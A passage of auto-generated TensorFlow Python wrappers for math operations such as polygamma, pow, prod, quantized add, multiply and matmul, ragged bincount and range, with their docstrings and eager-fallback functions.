"NotEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.polygamma', v1=['math.polygamma', 'polygamma'])
@deprecated_endpoints('polygamma')
def polygamma(a, x, name=None):
r"""Compute the polygamma function \\(\psi^{(n)}(x)\\).
The polygamma function is defined as:
\\(\psi^{(a)}(x) = \frac{d^a}{dx^a} \psi(x)\\)
where \\(\psi(x)\\) is the digamma function.
The polygamma function is defined only for non-negative integer orders \\a\\.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`.
x: A `Tensor`. Must have the same type as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Polygamma", name, a, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return polygamma_eager_fallback(
a, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
polygamma, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Polygamma", a=a, x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
polygamma, (), dict(a=a, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Polygamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Polygamma = tf_export("raw_ops.Polygamma")(_ops.to_raw_op(polygamma))
def polygamma_eager_fallback(a, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, x], ctx, [_dtypes.float32, _dtypes.float64, ])
(a, x) = _inputs_T
_inputs_flat = [a, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Polygamma", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Polygamma", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _pow(x, y, name=None):
r"""Computes the power of one value to another.
Given a tensor `x` and a tensor `y`, this operation computes \\(x^y\\) for
corresponding elements in `x` and `y`. For example:
```
# tensor 'x' is [[2, 2]], [3, 3]]
# tensor 'y' is [[8, 16], [2, 3]]
tf.pow(x, y) ==> [[256, 65536], [9, 27]]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `float32`, `half`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Pow", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _pow_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Pow", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Pow", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Pow = tf_export("raw_ops.Pow")(_ops.to_raw_op(_pow))
def _pow_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.float32, _dtypes.half, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Pow", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Pow", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def prod(input, axis, keep_dims=False, name=None):
r"""Computes the product of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Prod", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return prod_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Prod", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Prod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Prod = tf_export("raw_ops.Prod")(_ops.to_raw_op(prod))
def prod_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Prod", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Prod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
_QuantizeDownAndShrinkRangeOutput = collections.namedtuple(
"QuantizeDownAndShrinkRange",
["output", "output_min", "output_max"])
def quantize_down_and_shrink_range(input, input_min, input_max, out_type, name=None):
r"""Convert the quantized 'input' tensor into a lower-precision 'output', using the
actual distribution of the values to maximize the usage of the lower bit depth
and adjusting the output min and max ranges accordingly.
[input_min, input_max] are scalar floats that specify the range for the float
interpretation of the 'input' data. For example, if input_min is -1.0f and
input_max is 1.0f, and we are dealing with quint16 quantized data, then a 0
value in the 16-bit data should be interpreted as -1.0f, and a 65535 means 1.0f.
This operator tries to squeeze as much precision as possible into an output with
a lower bit depth by calculating the actual min and max values found in the
data. For example, maybe that quint16 input has no values lower than 16,384 and
none higher than 49,152. That means only half the range is actually needed, all
the float interpretations are between -0.5f and 0.5f, so if we want to compress
the data into a quint8 output, we can use that range rather than the theoretical
-1.0f to 1.0f that is suggested by the input min and max.
In practice, this is most useful for taking output from operations like
QuantizedMatMul that can produce higher bit-depth outputs than their inputs and
may have large potential output ranges, but in practice have a distribution of
input values that only uses a small fraction of the possible range. By feeding
that output into this operator, we can reduce it from 32 bits down to 8 with
minimal loss of accuracy.
Args:
input: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
input_min: A `Tensor` of type `float32`.
The float value that the minimum quantized input value represents.
input_max: A `Tensor` of type `float32`.
The float value that the maximum quantized input value represents.
out_type: A `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`.
The type of the output. Should be a lower bit depth than Tinput.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (output, output_min, output_max).
output: A `Tensor` of type `out_type`.
output_min: A `Tensor` of type `float32`.
output_max: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "QuantizeDownAndShrinkRange", name, input, input_min, input_max,
"out_type", out_type)
_result = _QuantizeDownAndShrinkRangeOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return quantize_down_and_shrink_range_eager_fallback(
input, input_min, input_max, out_type=out_type, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
out_type = _execute.make_type(out_type, "out_type")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"QuantizeDownAndShrinkRange", input=input, input_min=input_min,
input_max=input_max, out_type=out_type,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tinput", _op._get_attr_type("Tinput"), "out_type",
_op._get_attr_type("out_type"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"QuantizeDownAndShrinkRange", _inputs_flat, _attrs, _result)
_result = _QuantizeDownAndShrinkRangeOutput._make(_result)
return _result
QuantizeDownAndShrinkRange = tf_export("raw_ops.QuantizeDownAndShrinkRange")(_ops.to_raw_op(quantize_down_and_shrink_range))
def quantize_down_and_shrink_range_eager_fallback(input, input_min, input_max, out_type, name, ctx):
out_type = _execute.make_type(out_type, "out_type")
_attr_Tinput, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
input_min = _ops.convert_to_tensor(input_min, _dtypes.float32)
input_max = _ops.convert_to_tensor(input_max, _dtypes.float32)
_inputs_flat = [input, input_min, input_max]
_attrs = ("Tinput", _attr_Tinput, "out_type", out_type)
_result = _execute.execute(b"QuantizeDownAndShrinkRange", 3,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"QuantizeDownAndShrinkRange", _inputs_flat, _attrs, _result)
_result = _QuantizeDownAndShrinkRangeOutput._make(_result)
return _result
_QuantizedAddOutput = collections.namedtuple(
"QuantizedAdd",
["z", "min_z", "max_z"])
def quantized_add(x, y, min_x, max_x, min_y, max_y, Toutput=_dtypes.qint32, name=None):
r"""Returns x + y element-wise, working on quantized buffers.
Args:
x: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
y: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
min_x: A `Tensor` of type `float32`.
The float value that the lowest quantized `x` value represents.
max_x: A `Tensor` of type `float32`.
The float value that the highest quantized `x` value represents.
min_y: A `Tensor` of type `float32`.
The float value that the lowest quantized `y` value represents.
max_y: A `Tensor` of type `float32`.
The float value that the highest quantized `y` value represents.
Toutput: An optional `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`. Defaults to `tf.qint32`.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (z, min_z, max_z).
z: A `Tensor` of type `Toutput`.
min_z: A `Tensor` of type `float32`.
max_z: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "QuantizedAdd", name, x, y, min_x, max_x, min_y, max_y,
"Toutput", Toutput)
_result = _QuantizedAddOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return quantized_add_eager_fallback(
x, y, min_x, max_x, min_y, max_y, Toutput=Toutput, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"QuantizedAdd", x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y,
max_y=max_y, Toutput=Toutput, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T1", _op._get_attr_type("T1"), "T2", _op._get_attr_type("T2"),
"Toutput", _op._get_attr_type("Toutput"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"QuantizedAdd", _inputs_flat, _attrs, _result)
_result = _QuantizedAddOutput._make(_result)
return _result
QuantizedAdd = tf_export("raw_ops.QuantizedAdd")(_ops.to_raw_op(quantized_add))
def quantized_add_eager_fallback(x, y, min_x, max_x, min_y, max_y, Toutput, name, ctx):
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
_attr_T1, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
_attr_T2, (y,) = _execute.args_to_matching_eager([y], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
min_x = _ops.convert_to_tensor(min_x, _dtypes.float32)
max_x = _ops.convert_to_tensor(max_x, _dtypes.float32)
min_y = _ops.convert_to_tensor(min_y, _dtypes.float32)
max_y = _ops.convert_to_tensor(max_y, _dtypes.float32)
_inputs_flat = [x, y, min_x, max_x, min_y, max_y]
_attrs = ("T1", _attr_T1, "T2", _attr_T2, "Toutput", Toutput)
_result = _execute.execute(b"QuantizedAdd", 3, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"QuantizedAdd", _inputs_flat, _attrs, _result)
_result = _QuantizedAddOutput._make(_result)
return _result
_QuantizedMatMulOutput = collections.namedtuple(
"QuantizedMatMul",
["out", "min_out", "max_out"])
def quantized_mat_mul(a, b, min_a, max_a, min_b, max_b, Toutput=_dtypes.qint32, transpose_a=False, transpose_b=False, Tactivation=_dtypes.quint8, name=None):
r"""Perform a quantized matrix multiplication of `a` by the matrix `b`.
The inputs must be two-dimensional matrices and the inner dimension of
`a` (after being transposed if `transpose_a` is non-zero) must match the
outer dimension of `b` (after being transposed if `transposed_b` is
non-zero).
Args:
a: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
Must be a two-dimensional tensor.
b: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
Must be a two-dimensional tensor.
min_a: A `Tensor` of type `float32`.
The float value that the lowest quantized `a` value represents.
max_a: A `Tensor` of type `float32`.
The float value that the highest quantized `a` value represents.
min_b: A `Tensor` of type `float32`.
The float value that the lowest quantized `b` value represents.
max_b: A `Tensor` of type `float32`.
The float value that the highest quantized `b` value represents.
Toutput: An optional `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`. Defaults to `tf.qint32`.
transpose_a: An optional `bool`. Defaults to `False`.
If true, `a` is transposed before multiplication.
transpose_b: An optional `bool`. Defaults to `False`.
If true, `b` is transposed before multiplication.
Tactivation: An optional `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`. Defaults to `tf.quint8`.
The type of output produced by activation function
following this operation.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (out, min_out, max_out).
out: A `Tensor` of type `Toutput`.
min_out: A `Tensor` of type `float32`.
max_out: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "QuantizedMatMul", name, a, b, min_a, max_a, min_b, max_b,
"Toutput", Toutput, "transpose_a", transpose_a, "transpose_b",
transpose_b, "Tactivation", Tactivation)
_result = _QuantizedMatMulOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return quantized_mat_mul_eager_fallback(
a, b, min_a, max_a, min_b, max_b, Toutput=Toutput,
transpose_a=transpose_a, transpose_b=transpose_b,
Tactivation=Tactivation, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
if Tactivation is None:
Tactivation = _dtypes.quint8
Tactivation = _execute.make_type(Tactivation, "Tactivation")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"QuantizedMatMul", a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b,
max_b=max_b, Toutput=Toutput,
transpose_a=transpose_a, transpose_b=transpose_b,
Tactivation=Tactivation, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T1", _op._get_attr_type("T1"), "T2", _op._get_attr_type("T2"),
"Toutput", _op._get_attr_type("Toutput"), "transpose_a",
_op._get_attr_bool("transpose_a"), "transpose_b",
_op._get_attr_bool("transpose_b"), "Tactivation",
_op._get_attr_type("Tactivation"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"QuantizedMatMul", _inputs_flat, _attrs, _result)
_result = _QuantizedMatMulOutput._make(_result)
return _result
QuantizedMatMul = tf_export("raw_ops.QuantizedMatMul")(_ops.to_raw_op(quantized_mat_mul))
def quantized_mat_mul_eager_fallback(a, b, min_a, max_a, min_b, max_b, Toutput, transpose_a, transpose_b, Tactivation, name, ctx):
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
if Tactivation is None:
Tactivation = _dtypes.quint8
Tactivation = _execute.make_type(Tactivation, "Tactivation")
_attr_T1, (a,) = _execute.args_to_matching_eager([a], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
_attr_T2, (b,) = _execute.args_to_matching_eager([b], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
min_a = _ops.convert_to_tensor(min_a, _dtypes.float32)
max_a = _ops.convert_to_tensor(max_a, _dtypes.float32)
min_b = _ops.convert_to_tensor(min_b, _dtypes.float32)
max_b = _ops.convert_to_tensor(max_b, _dtypes.float32)
_inputs_flat = [a, b, min_a, max_a, min_b, max_b]
_attrs = ("T1", _attr_T1, "T2", _attr_T2, "Toutput", Toutput, "transpose_a",
transpose_a, "transpose_b", transpose_b, "Tactivation", Tactivation)
_result = _execute.execute(b"QuantizedMatMul", 3, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"QuantizedMatMul", _inputs_flat, _attrs, _result)
_result = _QuantizedMatMulOutput._make(_result)
return _result
_QuantizedMulOutput = collections.namedtuple(
"QuantizedMul",
["z", "min_z", "max_z"])
def quantized_mul(x, y, min_x, max_x, min_y, max_y, Toutput=_dtypes.qint32, name=None):
r"""Returns x * y element-wise, working on quantized buffers.
Args:
x: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
y: A `Tensor`. Must be one of the following types: `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
min_x: A `Tensor` of type `float32`.
The float value that the lowest quantized `x` value represents.
max_x: A `Tensor` of type `float32`.
The float value that the highest quantized `x` value represents.
min_y: A `Tensor` of type `float32`.
The float value that the lowest quantized `y` value represents.
max_y: A `Tensor` of type `float32`.
The float value that the highest quantized `y` value represents.
Toutput: An optional `tf.DType` from: `tf.qint8, tf.quint8, tf.qint32, tf.qint16, tf.quint16`. Defaults to `tf.qint32`.
name: A name for the operation (optional).
Returns:
A tuple of `Tensor` objects (z, min_z, max_z).
z: A `Tensor` of type `Toutput`.
min_z: A `Tensor` of type `float32`.
max_z: A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "QuantizedMul", name, x, y, min_x, max_x, min_y, max_y,
"Toutput", Toutput)
_result = _QuantizedMulOutput._make(_result)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return quantized_mul_eager_fallback(
x, y, min_x, max_x, min_y, max_y, Toutput=Toutput, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"QuantizedMul", x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y,
max_y=max_y, Toutput=Toutput, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T1", _op._get_attr_type("T1"), "T2", _op._get_attr_type("T2"),
"Toutput", _op._get_attr_type("Toutput"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"QuantizedMul", _inputs_flat, _attrs, _result)
_result = _QuantizedMulOutput._make(_result)
return _result
QuantizedMul = tf_export("raw_ops.QuantizedMul")(_ops.to_raw_op(quantized_mul))
def quantized_mul_eager_fallback(x, y, min_x, max_x, min_y, max_y, Toutput, name, ctx):
if Toutput is None:
Toutput = _dtypes.qint32
Toutput = _execute.make_type(Toutput, "Toutput")
_attr_T1, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
_attr_T2, (y,) = _execute.args_to_matching_eager([y], ctx, [_dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
min_x = _ops.convert_to_tensor(min_x, _dtypes.float32)
max_x = _ops.convert_to_tensor(max_x, _dtypes.float32)
min_y = _ops.convert_to_tensor(min_y, _dtypes.float32)
max_y = _ops.convert_to_tensor(max_y, _dtypes.float32)
_inputs_flat = [x, y, min_x, max_x, min_y, max_y]
_attrs = ("T1", _attr_T1, "T2", _attr_T2, "Toutput", Toutput)
_result = _execute.execute(b"QuantizedMul", 3, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"QuantizedMul", _inputs_flat, _attrs, _result)
_result = _QuantizedMulOutput._make(_result)
return _result
def ragged_bincount(splits, values, size, weights, binary_output=False, name=None):
r"""Counts the number of occurrences of each value in an integer array.
Outputs a vector with length `size` and the same dtype as `weights`. If
`weights` are empty, then index `i` stores the number of times the value `i` is
counted in `arr`. If `weights` are non-empty, then index `i` stores the sum of
the value in `weights` at each index where the corresponding value in `arr` is
`i`.
Values in `arr` outside of the range [0, size) are ignored.
Args:
splits: A `Tensor` of type `int64`. 1D int64 `Tensor`.
values: A `Tensor`. Must be one of the following types: `int32`, `int64`.
2D int `Tensor`.
size: A `Tensor`. Must have the same type as `values`.
non-negative int scalar `Tensor`.
weights: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
is an int32, int64, float32, or float64 `Tensor` with the same
shape as `input`, or a length-0 `Tensor`, in which case it acts as all weights
equal to 1.
binary_output: An optional `bool`. Defaults to `False`.
bool; Whether the kernel should count the appearance or number of occurrences.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `weights`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "RaggedBincount", name, splits, values, size, weights,
"binary_output", binary_output)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return ragged_bincount_eager_fallback(
splits, values, size, weights, binary_output=binary_output,
name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"RaggedBincount", splits=splits, values=values, size=size,
weights=weights, binary_output=binary_output,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tidx", _op._get_attr_type("Tidx"), "T",
_op._get_attr_type("T"), "binary_output",
_op._get_attr_bool("binary_output"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"RaggedBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
RaggedBincount = tf_export("raw_ops.RaggedBincount")(_ops.to_raw_op(ragged_bincount))
def ragged_bincount_eager_fallback(splits, values, size, weights, binary_output, name, ctx):
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_attr_Tidx, _inputs_Tidx = _execute.args_to_matching_eager([values, size], ctx, [_dtypes.int32, _dtypes.int64, ])
(values, size) = _inputs_Tidx
_attr_T, (weights,) = _execute.args_to_matching_eager([weights], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
splits = _ops.convert_to_tensor(splits, _dtypes.int64)
_inputs_flat = [splits, values, size, weights]
_attrs = ("Tidx", _attr_Tidx, "T", _attr_T, "binary_output", binary_output)
_result = _execute.execute(b"RaggedBincount", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"RaggedBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _range(start, limit, delta, name=None):
r"""Creates a sequence of numbers.
This operation creates a sequence of numbers that begins at `start` and
extends by increments of `delta` up to but not including `limit`.
For example:
```
# 'start' is 3
# 'limit' is 18
# 'delta' is 3
tf.range(start, limit, delta) ==> [3, 6, 9, 12, 15]
```
Args:
start: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`.
0-D (scalar). First entry in the sequence.
limit: A `Tensor`. Must have the same type as `start`.
0-D (scalar). Upper limit of sequence, exclusive.
delta: A `Tensor`. Must have the same type as `start`.
0-D (scalar). Optional. Default is 1. Number that increments `start`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `start`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Range", name, start, limit, delta)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _range_eager_fallback(
start, limit, delta, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Range", start=start, limit=limit, delta=delta, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Range", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Range = tf_export("raw_ops.Range")(_ops.to_raw_op(_range))
def _range_eager_fallback(start, limit, delta, name, ctx):
_attr_Tidx, _inputs_Tidx = _execute.args_to_matching_eager([start, limit, delta], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, ], _dtypes.int32)
(start, limit, delta) = _inputs_Tidx
_inputs_flat = [start, limit, delta]
_attrs = ("Tidx", _attr_Tidx)
_result = _execute.execute(b"Range", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Range", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def real(input, Tout=_dtypes.float32, name=None):
r"""Returns the real part of a complex number.
Given a tensor `input` of complex numbers, this operation returns a tensor of
type `float` that is the real part of each element in `input`. All elements in
`input` must be complex numbers of the form \\(a + bj\\), where *a* is the real
part returned by this operation and *b* is the imaginary part.
For example:
```
# tensor 'input' is [-2.25 + 4.75j, 3.25 + 5.75j]
tf.real(input) ==> [-2.25, 3.25]
```
Args:
input: A `Tensor`. Must be one of the following types: `complex64`, `complex128`.
Tout: An optional `tf.DType` from: `tf.float32, tf.float64`. Defaults to `tf.float32`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `Tout`.
"""
